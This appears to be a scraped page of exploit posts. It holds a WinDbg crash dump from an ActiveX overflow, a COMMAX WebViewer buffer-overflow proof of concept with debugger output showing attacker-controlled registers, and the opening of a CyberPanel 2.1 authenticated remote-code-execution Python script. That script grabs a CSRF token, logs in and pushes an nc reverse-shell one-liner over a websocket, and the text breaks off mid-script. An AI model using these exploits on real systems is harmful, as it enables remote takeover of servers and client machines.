00afe298 61616161 61616161 61616161 61616161 0x61616161
00afe29c 61616161 61616161 61616161 61616161 0x61616161
00afe2a0 61616161 61616161 61616161 61616161 0x61616161
00afe2a4 61616161 61616161 61616161 61616161 0x61616161
00afe2a8 61616161 61616161 61616161 61616161 0x61616161
00afe2ac 61616161 61616161 61616161 61616161 0x61616161
00afe2b0 61616161 61616161 61616161 61616161 0x61616161
00afe2b4 61616161 61616161 61616161 61616161 0x61616161
00afe2b8 61616161 61616161 61616161 61616161 0x61616161
00afe2bc 61616161 61616161 61616161 61616161 0x61616161
00afe2c0 61616161 61616161 61616161 61616161 0x61616161
00afe2c4 61616161 61616161 61616161 61616161 0x61616161
00afe2c8 61616161 61616161 61616161 61616161 0x61616161
00afe2cc 61616161 61616161 61616161 61616161 0x61616161
00afe2d0 61616161 61616161 61616161 61616161 0x61616161
00afe2d4 61616161 61616161 61616161 61616161 0x61616161
00afe2d8 61616161 61616161 61616161 61616161 0x61616161
00afe2dc 61616161 61616161 61616161 61616161 0x61616161
00afe2e0 61616161 61616161 61616161 61616161 0x61616161
00afe2e4 61616161 61616161 61616161 61616161 0x61616161
00afe2e8 61616161 61616161 61616161 61616161 0x61616161
00afe2ec 61616161 61616161 61616161 61616161 0x61616161
00afe2f0 61616161 61616161 61616161 61616161 0x61616161
00afe2f4 61616161 61616161 61616161 61616161 0x61616161
00afe2f8 61616161 61616161 61616161 61616161 0x61616161
00afe2fc 61616161 61616161 61616161 61616161 0x61616161
00afe300 61616161 61616161 61616161 61616161 0x61616161
00afe304 61616161 61616161 61616161 61616161 0x61616161
00afe308 61616161 61616161 61616161 61616161 0x61616161
00afe30c 61616161 61616161 61616161 61616161 0x61616161
00afe310 61616161 61616161 61616161 61616161 0x61616161
00afe314 61616161 61616161 61616161 61616161 0x61616161
00afe318 61616161 61616161 61616161 41414141 0x61616161
00afe31c 61616161 61616161 41414141 41414141 0x61616161
00afe320 61616161 41414141 41414141 41414141 0x61616161
00afe324 41414141 41414141 41414141 41414141 0x61616161
00afe328 41414141 41414141 41414141 41414141 0x41414141
00afe32c 41414141 41414141 41414141 41414141 0x41414141
00afe330 41414141 41414141 41414141 41414141 0x41414141
00afe334 41414141 41414141 41414141 41414141 0x41414141
00afe338 41414141 41414141 41414141 41414141 0x41414141
00afe33c 41414141 41414141 41414141 41414141 0x41414141
00afe340 41414141 41414141 41414141 41414141 0x41414141
00afe344 41414141 41414141 41414141 41414141 0x41414141
00afe348 41414141 41414141 41414141 41414141 0x41414141
00afe34c 41414141 41414141 41414141 41414141 0x41414141
00afe350 41414141 41414141 41414141 41414141 0x41414141
00afe354 41414141 41414141 41414141 41414141 0x41414141
00afe358 41414141 41414141 41414141 41414141 0x41414141
00afe35c 41414141 41414141 41414141 41414141 0x41414141
00afe360 41414141 41414141 41414141 41414141 0x41414141
00afe364 41414141 41414141 41414141 41414141 0x41414141
00afe368 41414141 41414141 41414141 41414141 0x41414141
00afe36c 41414141 41414141 41414141 41414141 0x41414141
00afe370 41414141 41414141 41414141 41414141 0x41414141
00afe374 41414141 41414141 41414141 41414141 0x41414141
00afe378 41414141 41414141 41414141 41414141 0x41414141
00afe37c 41414141 41414141 41414141 41414141 0x41414141
00afe380 41414141 41414141 41414141 41414141 0x41414141
00afe384 41414141 41414141 41414141 41414141 0x41414141
00afe388 41414141 41414141 41414141 41414141 0x41414141
00afe38c 41414141 41414141 41414141 41414141 0x41414141
00afe390 41414141 41414141 41414141 41414141 0x41414141
00afe394 41414141 41414141 41414141 41414141 0x41414141
00afe398 41414141 41414141 41414141 41414141 0x41414141
00afe39c 41414141 41414141 41414141 41414141 0x41414141
00afe3a0 41414141 41414141 41414141 41414141 0x41414141
00afe3a4 41414141 41414141 41414141 41414141 0x41414141
00afe3a8 41414141 41414141 41414141 41414141 0x41414141
00afe3ac 41414141 41414141 41414141 41414141 0x41414141
00afe3b0 41414141 41414141 41414141 41414141 0x41414141
00afe3b4 41414141 41414141 41414141 41414141 0x41414141
00afe3b8 41414141 41414141 41414141 41414141 0x41414141
00afe3bc 41414141 41414141 41414141 41414141 0x41414141
00afe3c0 41414141 41414141 41414141 41414141 0x41414141
00afe3c4 41414141 41414141 41414141 41414141 0x41414141
00afe3c8 41414141 41414141 41414141 41414141 0x41414141
00afe3cc 41414141 41414141 41414141 41414141 0x41414141
00afe3d0 41414141 41414141 41414141 41414141 0x41414141
00afe3d4 41414141 41414141 41414141 41414141 0x41414141
00afe3d8 41414141 41414141 41414141 41414141 0x41414141
00afe3dc 41414141 41414141 41414141 41414141 0x41414141
00afe3e0 41414141 41414141 41414141 41414141 0x41414141
00afe3e4 41414141 41414141 41414141 41414141 0x41414141
00afe3e8 41414141 41414141 41414141 41414141 0x41414141
00afe3ec 41414141 41414141 41414141 41414141 0x41414141
00afe3f0 41414141 41414141 41414141 41414141 0x41414141
00afe3f4 41414141 41414141 41414141 41414141 0x41414141
00afe3f8 41414141 41414141 41414141 41414141 0x41414141
00afe3fc 41414141 41414141 41414141 41414141 0x41414141
00afe400 41414141 41414141 41414141 41414141 0x41414141
00afe404 41414141 41414141 41414141 41414141 0x41414141
00afe408 41414141 41414141 41414141 41414141 0x41414141
00afe40c 41414141 41414141 41414141 41414141 0x41414141
00afe410 41414141 41414141 41414141 41414141 0x41414141
00afe414 41414141 41414141 41414141 41414141 0x41414141
00afe418 41414141 41414141 41414141 41414141 0x41414141
00afe41c 41414141 41414141 41414141 41414141 0x41414141
00afe420 41414141 41414141 41414141 41414141 0x41414141
00afe424 41414141 41414141 41414141 41414141 0x41414141
00afe428 41414141 41414141 41414141 41414141 0x41414141
00afe42c 41414141 41414141 41414141 41414141 0x41414141
00afe430 41414141 41414141 41414141 41414141 0x41414141
00afe434 41414141 41414141 41414141 41414141 0x41414141
00afe438 41414141 41414141 41414141 41414141 0x41414141
00afe43c 41414141 41414141 41414141 41414141 0x41414141
00afe440 41414141 41414141 41414141 41414141 0x41414141
00afe444 41414141 41414141 41414141 41414141 0x41414141
00afe448 41414141 41414141 41414141 41414141 0x41414141
00afe44c 41414141 41414141 41414141 41414141 0x41414141
00afe450 41414141 41414141 41414141 41414141 0x41414141
00afe454 41414141 41414141 41414141 41414141 0x41414141
00afe458 41414141 41414141 41414141 41414141 0x41414141
00afe45c 41414141 41414141 41414141 41414141 0x41414141
00afe460 41414141 41414141 41414141 41414141 0x41414141
00afe464 41414141 41414141 41414141 41414141 0x41414141
00afe468 41414141 41414141 41414141 41414141 0x41414141
00afe46c 41414141 41414141 41414141 41414141 0x41414141
00afe470 41414141 41414141 41414141 41414141 0x41414141
00afe474 41414141 41414141 41414141 41414141 0x41414141
00afe478 41414141 41414141 41414141 41414141 0x41414141
00afe47c 41414141 41414141 41414141 41414141 0x41414141
00afe480 41414141 41414141 41414141 41414141 0x41414141
00afe484 41414141 41414141 41414141 41414141 0x41414141
00afe488 41414141 41414141 41414141 41414141 0x41414141
00afe48c 41414141 41414141 41414141 41414141 0x41414141
00afe490 41414141 41414141 41414141 41414141 0x41414141
00afe494 41414141 41414141 41414141 41414141 0x41414141
00afe498 41414141 41414141 41414141 41414141 0x41414141
00afe49c 41414141 41414141 41414141 41414141 0x41414141
00afe4a0 41414141 41414141 41414141 41414141 0x41414141
00afe4a4 41414141 41414141 41414141 41414141 0x41414141
00afe4a8 41414141 41414141 41414141 41414141 0x41414141
00afe4ac 41414141 41414141 41414141 41414141 0x41414141
00afe4b0 41414141 41414141 41414141 41414141 0x41414141
00afe4b4 41414141 41414141 41414141 41414141 0x41414141
00afe4b8 41414141 41414141 41414141 41414141 0x41414141
00afe4bc 41414141 41414141 41414141 41414141 0x41414141
00afe4c0 41414141 41414141 41414141 41414141 0x41414141
00afe4c4 41414141 41414141 41414141 41414141 0x41414141
00afe4c8 41414141 41414141 41414141 41414141 0x41414141
00afe4cc 41414141 41414141 41414141 41414141 0x41414141
00afe4d0 41414141 41414141 41414141 41414141 0x41414141
00afe4d4 41414141 41414141 41414141 41414141 0x41414141
00afe4d8 41414141 41414141 41414141 41414141 0x41414141
00afe4dc 41414141 41414141 41414141 41414141 0x41414141
00afe4e0 41414141 41414141 41414141 41414141 0x41414141
00afe4e4 41414141 41414141 41414141 41414141 0x41414141
00afe4e8 41414141 41414141 41414141 41414141 0x41414141
00afe4ec 41414141 41414141 41414141 41414141 0x41414141
00afe4f0 41414141 41414141 41414141 41414141 0x41414141
00afe4f4 41414141 41414141 41414141 41414141 0x41414141
00afe4f8 41414141 41414141 41414141 41414141 0x41414141
00afe4fc 41414141 41414141 41414141 41414141 0x41414141
00afe500 41414141 41414141 41414141 41414141 0x41414141
00afe504 41414141 41414141 41414141 41414141 0x41414141
00afe508 41414141 41414141 41414141 41414141 0x41414141
00afe50c 41414141 41414141 41414141 41414141 0x41414141
00afe510 41414141 41414141 41414141 41414141 0x41414141
00afe514 41414141 41414141 41414141 41414141 0x41414141
00afe518 41414141 41414141 41414141 41414141 0x41414141
00afe51c 41414141 41414141 41414141 41414141 0x41414141
00afe520 41414141 41414141 41414141 41414141 0x41414141
00afe524 41414141 41414141 41414141 41414141 0x41414141
00afe528 41414141 41414141 41414141 41414141 0x41414141
00afe52c 41414141 41414141 41414141 41414141 0x41414141
00afe530 41414141 41414141 41414141 41414141 0x41414141
00afe534 41414141 41414141 41414141 41414141 0x41414141
00afe538 41414141 41414141 41414141 41414141 0x41414141
00afe53c 41414141 41414141 41414141 41414141 0x41414141
00afe540 41414141 41414141 41414141 41414141 0x41414141
00afe544 41414141 41414141 41414141 41414141 0x41414141
00afe548 41414141 41414141 41414141 41414141 0x41414141
00afe54c 41414141 41414141 41414141 41414141 0x41414141
00afe550 41414141 41414141 41414141 41414141 0x41414141
00afe554 41414141 41414141 41414141 41414141 0x41414141
00afe558 41414141 41414141 41414141 41414141 0x41414141
00afe55c 41414141 41414141 41414141 41414141 0x41414141
00afe560 41414141 41414141 41414141 41414141 0x41414141
00afe564 41414141 41414141 41414141 41414141 0x41414141
00afe568 41414141 41414141 41414141 41414141 0x41414141
00afe56c 41414141 41414141 41414141 41414141 0x41414141
00afe570 41414141 41414141 41414141 41414141 0x41414141
00afe574 41414141 41414141 41414141 41414141 0x41414141
00afe578 41414141 41414141 41414141 41414141 0x41414141
00afe57c 41414141 41414141 41414141 41414141 0x41414141
00afe580 41414141 41414141 41414141 41414141 0x41414141
00afe584 41414141 41414141 41414141 41414141 0x41414141
00afe588 41414141 41414141 41414141 41414141 0x41414141
00afe58c 41414141 41414141 41414141 41414141 0x41414141
00afe590 41414141 41414141 41414141 41414141 0x41414141
00afe594 41414141 41414141 41414141 41414141 0x41414141
00afe598 41414141 41414141 41414141 41414141 0x41414141
00afe59c 41414141 41414141 41414141 41414141 0x41414141
00afe5a0 41414141 41414141 41414141 41414141 0x41414141
00afe5a4 41414141 41414141 41414141 41414141 0x41414141
00afe5a8 41414141 41414141 41414141 41414141 0x41414141
00afe5ac 41414141 41414141 41414141 41414141 0x41414141
00afe5b0 41414141 41414141 41414141 41414141 0x41414141
00afe5b4 41414141 41414141 41414141 41414141 0x41414141
00afe5b8 41414141 41414141 41414141 41414141 0x41414141
00afe5bc 41414141 41414141 41414141 41414141 0x41414141
00afe5c0 41414141 41414141 41414141 41414141 0x41414141
00afe5c4 41414141 41414141 41414141 41414141 0x41414141
00afe5c8 41414141 41414141 41414141 41414141 0x41414141
00afe5cc 41414141 41414141 41414141 41414141 0x41414141
00afe5d0 41414141 41414141 41414141 41414141 0x41414141
00afe5d4 41414141 41414141 41414141 41414141 0x41414141
00afe5d8 41414141 41414141 41414141 41414141 0x41414141
00afe5dc 41414141 41414141 41414141 41414141 0x41414141
00afe5e0 41414141 41414141 41414141 41414141 0x41414141
00afe5e4 41414141 41414141 41414141 41414141 0x41414141
00afe5e8 41414141 41414141 41414141 41414141 0x41414141
00afe5ec 41414141 41414141 41414141 41414141 0x41414141
00afe5f0 41414141 41414141 41414141 41414141 0x41414141
00afe5f4 41414141 41414141 41414141 41414141 0x41414141

STACK_COMMAND:  ~0s ; .cxr ; kb

THREAD_SHA1_HASH_MOD_FUNC:  1ff3866701b0a93c59477aaf393ad9182c6cbb4f

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  31358b3bd1a2fecfa57be49dd21574669d1b1ea2

THREAD_SHA1_HASH_MOD:  2219bd78d12868af57c664db206871e4461019b1

FAULT_INSTR_CODE:  12d49989

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  CNC_Ctrl!DllUnregisterServer+18ee3

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: CNC_Ctrl

IMAGE_NAME:  CNC_Ctrl.DLL

DEBUG_FLR_IMAGE_TIMESTAMP:  547ed821

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_CNC_Ctrl.DLL!DllUnregisterServer

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_ZEROED_STACK_CNC_Ctrl!DllUnregisterServer+18ee3

FAILURE_EXCEPTION_CODE:  c0000005

FAILURE_IMAGE_NAME:  CNC_Ctrl.DLL

BUCKET_ID_IMAGE_STR:  CNC_Ctrl.DLL

FAILURE_MODULE_NAME:  CNC_Ctrl

BUCKET_ID_MODULE_STR:  CNC_Ctrl

FAILURE_FUNCTION_NAME:  DllUnregisterServer

BUCKET_ID_FUNCTION_STR:  DllUnregisterServer

BUCKET_ID_OFFSET:  18ee3

BUCKET_ID_MODTIMEDATESTAMP:  547ed821

BUCKET_ID_MODCHECKSUM:  357a4b

BUCKET_ID_MODVER_STR:  1.7.0.2

BUCKET_ID_PREFIX_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_ZEROED_STACK_

FAILURE_PROBLEM_CLASS:  APPLICATION_FAULT

FAILURE_SYMBOL_NAME:  CNC_Ctrl.DLL!DllUnregisterServer

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/wscript.exe/5.812.10240.16384/7159f3df/CNC_Ctrl.DLL/1.7.0.2/547ed821/c0000005/00027da1.htm?Retriage=1

TARGET_TIME:  2021-08-12T11:37:22.000Z

OSBUILD:  19042

OSSERVICEPACK:  1023

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

OSEDITION:  Windows 10 WinNt SingleUserTS Personal

USER_LCID:  0

OSBUILD_TIMESTAMP:  unknown_date

BUILDDATESTAMP_STR:  160101.0800

BUILDLAB_STR:  WinBuild

BUILDOSVER_STR:  10.0.19041.1023

ANALYSIS_SESSION_ELAPSED_TIME:  68b2

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_write_c0000005_cnc_ctrl.dll!dllunregisterserver

FAILURE_ID_HASH:  {5e1e375a-c411-e928-cd64-b7f6c07eea3b}

Followup:     MachineOwner
---------
HireHackking 
# Exploit Title: COMMAX WebViewer ActiveX Control 2.1.4.5 - 'Commax_WebViewer.ocx' Buffer Overflow
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX WebViewer ActiveX Control 2.1.4.5 (Commax_WebViewer.ocx) Buffer Overflow


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: 2.1.4.5

Summary: COMMAX activex web viewer client (32bit) for COMMAX DVR/NVR.

Desc: The vulnerability is caused due to a boundary error in the
processing of user input, which can be exploited to cause a buffer
overflow when a user inserts overly long array of string bytes
through several functions. Successful exploitation could allow
execution of arbitrary code on the affected node.

Tested on: Microsoft Windows 10 Home (64bit) EN
           Microsoft Internet Explorer 20H2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5663
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5663.php


02.08.2021

--


$ python
>>> "A"*1000 [ToTheClipboard]
>>>#Paste in ID or anywhere

(5220.5b30): Access violation - code c0000005 (!!! second chance !!!)
wow64!Wow64pNotifyDebugger+0x19918:
00007ff9`deb0b530 c644242001      mov     byte ptr [rsp+20h],1 ss:00000000`0c47de00=00
0:038> g
(5220.5b30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for CNC_Ctrl.DLL - 
CNC_Ctrl!DllUnregisterServer+0xf5501:
0b4d43bf f3aa            rep stos byte ptr es:[edi]
0:038:x86> r
eax=00000000 ebx=00002000 ecx=0000000f edx=00000000 esi=41414141 edi=41414141
eip=0b4d43bf esp=0d78f920 ebp=0d78f930 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
CNC_Ctrl!DllUnregisterServer+0xf5501:
0b4d43bf f3aa            rep stos byte ptr es:[edi]
0:038:x86> !exchain
0d78fac4: CNC_Ctrl!DllUnregisterServer+eca92 (0b4cb950)
0d78fb74: ntdll_76f80000!_except_handler4+0 (76ffad20)
  CRT scope  0, filter: ntdll_76f80000!__RtlUserThreadStart+3cdb7 (77024806)
                func:   ntdll_76f80000!__RtlUserThreadStart+3ce50 (7702489f)
0d78fb8c: ntdll_76f80000!FinalExceptionHandlerPad25+0 (77008a29)
Invalid exception stack at ffffffff
0:038:x86> kb
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0d78f930 0b405dea 41414141 00000000 00002000 CNC_Ctrl!DllUnregisterServer+0xf5501
01 0d78f950 0b40ab25 0d78faec 00000020 61b76900 CNC_Ctrl!DllUnregisterServer+0x26f2c
02 0d78f978 76fc2857 099c3a70 00000000 02f50000 CNC_Ctrl!DllUnregisterServer+0x2bc67
03 0d78fa08 00000000 00000000 00000000 00000000 ntdll_76f80000!RtlpReAllocateHeapInternal+0xf7
0:038:x86> d esp
0d78f920  0f 00 00 00 00 00 00 00-dc 2e ff 76 78 c5 7e 0b  ...........vx.~.
0d78f930  b0 c9 7e 0b ea 5d 40 0b-41 41 41 41 00 00 00 00  ..~..]@.AAAA....
0d78f940  00 20 00 00 04 00 00 00-78 c5 7e 0b 00 00 00 00  . ......x.~.....
0d78f950  10 5e 0b 75 25 ab 40 0b-ec fa 78 0d 20 00 00 00  .^.u%.@...x. ...
0d78f960  00 69 b7 61 d4 fa 78 0d-00 00 00 00 b8 0d 00 00  .i.a..x.........
0d78f970  10 00 00 00 fe ff ff ff-08 fa 78 0d 57 28 fc 76  ..........x.W(.v
0d78f980  70 3a 9c 09 00 00 00 00-00 00 f5 02 8a 28 fc 76  p:...........(.v
0d78f990  00 00 00 00 00 00 00 00-e0 01 00 00 74 0e 00 00  ............t...
0:038:x86> d ebp
0d78f930  b0 c9 7e 0b ea 5d 40 0b-41 41 41 41 00 00 00 00  ..~..]@.AAAA....
0d78f940  00 20 00 00 04 00 00 00-78 c5 7e 0b 00 00 00 00  . ......x.~.....
0d78f950  10 5e 0b 75 25 ab 40 0b-ec fa 78 0d 20 00 00 00  .^.u%.@...x. ...
0d78f960  00 69 b7 61 d4 fa 78 0d-00 00 00 00 b8 0d 00 00  .i.a..x.........
0d78f970  10 00 00 00 fe ff ff ff-08 fa 78 0d 57 28 fc 76  ..........x.W(.v
0d78f980  70 3a 9c 09 00 00 00 00-00 00 f5 02 8a 28 fc 76  p:...........(.v
0d78f990  00 00 00 00 00 00 00 00-e0 01 00 00 74 0e 00 00  ............t...
0d78f9a0  8c 0c 00 00 88 0e 00 00-8c 0e 00 00 b8 0d 00 00  ................
0:038:x86> d esi
41414141  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
41414151  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
41414161  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
41414171  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
41414181  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
41414191  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
414141a1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
414141b1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:038:x86> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ie_to_edge_bho.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for Commax_WebViewer.OCX - 
GetUrlPageData2 (WinHttp) failed: 12002.

DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
CNC_Ctrl!DllUnregisterServer+f5501
0b4d43bf f3aa            rep stos byte ptr es:[edi]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 0b4d43bf (CNC_Ctrl!DllUnregisterServer+0x000f5501)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 41414141
Attempt to write to address 41414141

FAULTING_THREAD:  00005b30

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

PROCESS_NAME:  IEXPLORE.EXE

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  41414141

FOLLOWUP_IP: 
CNC_Ctrl!DllUnregisterServer+f5501
0b4d43bf f3aa            rep stos byte ptr es:[edi]

WRITE_ADDRESS:  41414141 

WATSON_BKT_PROCSTAMP:  95286d96

WATSON_BKT_PROCVER:  11.0.19041.1

PROCESS_VER_PRODUCT:  Internet Explorer

WATSON_BKT_MODULE:  CNC_Ctrl.DLL

WATSON_BKT_MODSTAMP:  547ed821

WATSON_BKT_MODOFFSET:  1043bf

WATSON_BKT_MODVER:  1.7.0.2

MODULE_VER_PRODUCT:  CNC_Ctrl Module

BUILD_VERSION_STRING:  10.0.19041.1023 (WinBuild.160101.0800)

MODLIST_WITH_TSCHKSUM_HASH:  aadfa1c5bdd8f77b979f6a5b222994db450b715e

MODLIST_SHA1_HASH:  849cfdbdcb18d5749dc41f313fc544a643772db9

NTGLOBALFLAG:  0

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  784

DUMP_TYPE:  fe

ANALYSIS_SESSION_HOST:  LAB17

ANALYSIS_SESSION_TIME:  08-12-2021 14:20:11.0116

ANALYSIS_VERSION: 10.0.16299.91 amd64fre

THREAD_ATTRIBUTES: 
OS_LOCALE:  ENU

PROBLEM_CLASSES: 

    ID:     [0n301]
    Type:   [@ACCESS_VIOLATION]
    Class:  Addendum
    Scope:  BUCKET_ID
    Name:   Omit
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x5b30]
    Frame:  [0] : CNC_Ctrl!DllUnregisterServer

    ID:     [0n274]
    Type:   [INVALID_POINTER_WRITE]
    Class:  Primary
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x5b30]
    Frame:  [0] : CNC_Ctrl!DllUnregisterServer

    ID:     [0n152]
    Type:   [ZEROED_STACK]
    Class:  Addendum
    Scope:  BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [0x5220]
    TID:    [0x5b30]
    Frame:  [0] : CNC_Ctrl!DllUnregisterServer

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_ZEROED_STACK

PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT

LAST_CONTROL_TRANSFER:  from 0b405dea to 0b4d43bf

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0d78f930 0b405dea 41414141 00000000 00002000 CNC_Ctrl!DllUnregisterServer+0xf5501
0d78f950 0b40ab25 0d78faec 00000020 61b76900 CNC_Ctrl!DllUnregisterServer+0x26f2c
0d78f978 76fc2857 099c3a70 00000000 02f50000 CNC_Ctrl!DllUnregisterServer+0x2bc67
0d78fa08 00000000 00000000 00000000 00000000 ntdll_76f80000!RtlpReAllocateHeapInternal+0xf7


THREAD_SHA1_HASH_MOD_FUNC:  e84e62df4095d241971250198ae18de0797cfdc7

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  2033316a7c1a92aaeab1ce97e013350953fef546

THREAD_SHA1_HASH_MOD:  6d850af928076b326edbcafdf6dd4f771aafbab5

FAULT_INSTR_CODE:  458baaf3

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  CNC_Ctrl!DllUnregisterServer+f5501

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: CNC_Ctrl

IMAGE_NAME:  CNC_Ctrl.DLL

DEBUG_FLR_IMAGE_TIMESTAMP:  547ed821

STACK_COMMAND:  ~38s ; .cxr ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_CNC_Ctrl.DLL!DllUnregisterServer

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_ZEROED_STACK_CNC_Ctrl!DllUnregisterServer+f5501

FAILURE_EXCEPTION_CODE:  c0000005

FAILURE_IMAGE_NAME:  CNC_Ctrl.DLL

BUCKET_ID_IMAGE_STR:  CNC_Ctrl.DLL

FAILURE_MODULE_NAME:  CNC_Ctrl

BUCKET_ID_MODULE_STR:  CNC_Ctrl

FAILURE_FUNCTION_NAME:  DllUnregisterServer

BUCKET_ID_FUNCTION_STR:  DllUnregisterServer

BUCKET_ID_OFFSET:  f5501

BUCKET_ID_MODTIMEDATESTAMP:  547ed821

BUCKET_ID_MODCHECKSUM:  357a4b

BUCKET_ID_MODVER_STR:  1.7.0.2

BUCKET_ID_PREFIX_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_ZEROED_STACK_

FAILURE_PROBLEM_CLASS:  APPLICATION_FAULT

FAILURE_SYMBOL_NAME:  CNC_Ctrl.DLL!DllUnregisterServer

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/IEXPLORE.EXE/11.0.19041.1/95286d96/CNC_Ctrl.DLL/1.7.0.2/547ed821/c0000005/001043bf.htm?Retriage=1

TARGET_TIME:  2021-08-12T12:21:50.000Z

OSBUILD:  19042

OSSERVICEPACK:  1023

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

OSEDITION:  Windows 10 WinNt SingleUserTS Personal

USER_LCID:  0

OSBUILD_TIMESTAMP:  unknown_date

BUILDDATESTAMP_STR:  160101.0800

BUILDLAB_STR:  WinBuild

BUILDOSVER_STR:  10.0.19041.1023

ANALYSIS_SESSION_ELAPSED_TIME:  1d869

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_write_c0000005_cnc_ctrl.dll!dllunregisterserver

FAILURE_ID_HASH:  {5e1e375a-c411-e928-cd64-b7f6c07eea3b}

Followup:     MachineOwner
---------
HireHackking 
# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://cyberpanel.net/
# Software Link: https://github.com/usmannasir/cyberpanel
# Version: <=2.1
# https://www.youtube.com/watch?v=J_8iLELVgkE


#!/usr/bin/python3
# -*- coding: utf-8 -*-
# CyberPanel - Remote Code Execution (Authenticated)
# author: twitter.com/numanturle
# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE]
# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password


import argparse,requests,warnings,json,re,base64,websocket,ssl,_thread,time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    parser.add_argument('-f', '--file',help='File', type=str)
    args = parser.parse_args()
    exploit(args)

def exploit(args):
    def on_open(ws):
        verifyPath,socket_password
        print("[+] Socket connection successful")
        print("[+] Trying a reverse connection")
        ws.send(json.dumps({"tp":"init","data":{"verifyPath":verifyPath,"password":socket_password}}))
        ws.send(json.dumps({"tp":"client","data":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r","verifyPath":verifyPath,"password":socket_password}))
        ws.close()

    def on_close(ws, close_status_code, close_msg):
        print("[+] Successful")
        print("[!] Disconnect from socket")


    session = requests.Session()
    target = "https://{}:8090".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    response = session.get(target, verify=False)
    session_hand = session.cookies.get_dict()
    token = session_hand["csrftoken"]

    print("[+] Token {}".format(token))

    headers = {
        'X-Csrftoken': token,
        'Cookie': 'csrftoken={}'.format(token),
        'Referer': target
    }

    login = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":username,"password":password,"languageSelection":"english"})
    login_json = json.loads(login.content)

    if login_json["loginStatus"]:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login Success")
